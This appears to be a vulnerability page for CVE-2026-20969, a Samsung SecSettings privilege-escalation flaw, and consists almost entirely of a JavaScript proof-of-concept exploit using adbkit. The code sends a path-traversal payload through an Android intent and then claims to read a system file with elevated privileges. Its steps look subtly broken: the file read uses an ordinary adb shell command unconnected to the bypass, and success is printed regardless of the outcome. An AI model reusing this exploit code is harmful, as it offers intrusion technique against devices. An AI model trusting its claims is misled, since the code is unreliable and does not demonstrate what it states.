CVE-2026-20969: 三星SecSettings输入验证不当导致本地权限提升漏洞

// CVE-2026-20969 PoC - SecSettings Input Validation Bypass // Note: This is a conceptual PoC for educational purposes // Actual exploitation requires device-specific analysis const adb = require('adbkit'); const client = adb.createClient(); async function exploitCVE202620969(targetDevice) { console.log('[+] Starting CVE-2026-20969 exploitation...'); // Step 1: Connect to target device await client.connect(targetDevice); console.log('[+] Connected to target device'); // Step 2: Identify SecSettings package version const packages = await client.list(targetDevice); const secSettings = packages.find(p => p.package.includes('SecSettings')); if (!secSettings) { console.log('[-] SecSettings not found on device'); return false; } console.log(`[+] Found SecSettings: ${secSettings.package}`); // Step 3: Trigger vulnerable input validation path // This would require specific UI interaction or intent crafting const maliciousInput = '../../../system/etc/passwd'; // Step 4: Execute crafted intent to bypass validation await client.shell(targetDevice, `am start -n ${secSettings.package}/.SecSettingsActivity ` + `-e input "${maliciousInput}"` ); console.log('[+] Malicious input sent to SecSettings'); // Step 5: Read file with system privileges const result = await client.shell(targetDevice, 'cat /system/etc/passwd'); console.log('[+] File content retrieved with elevated privileges'); return true; } // Usage: node poc.js <device-ip> exploitCVE202620969(process.argv[2]).catch(console.error);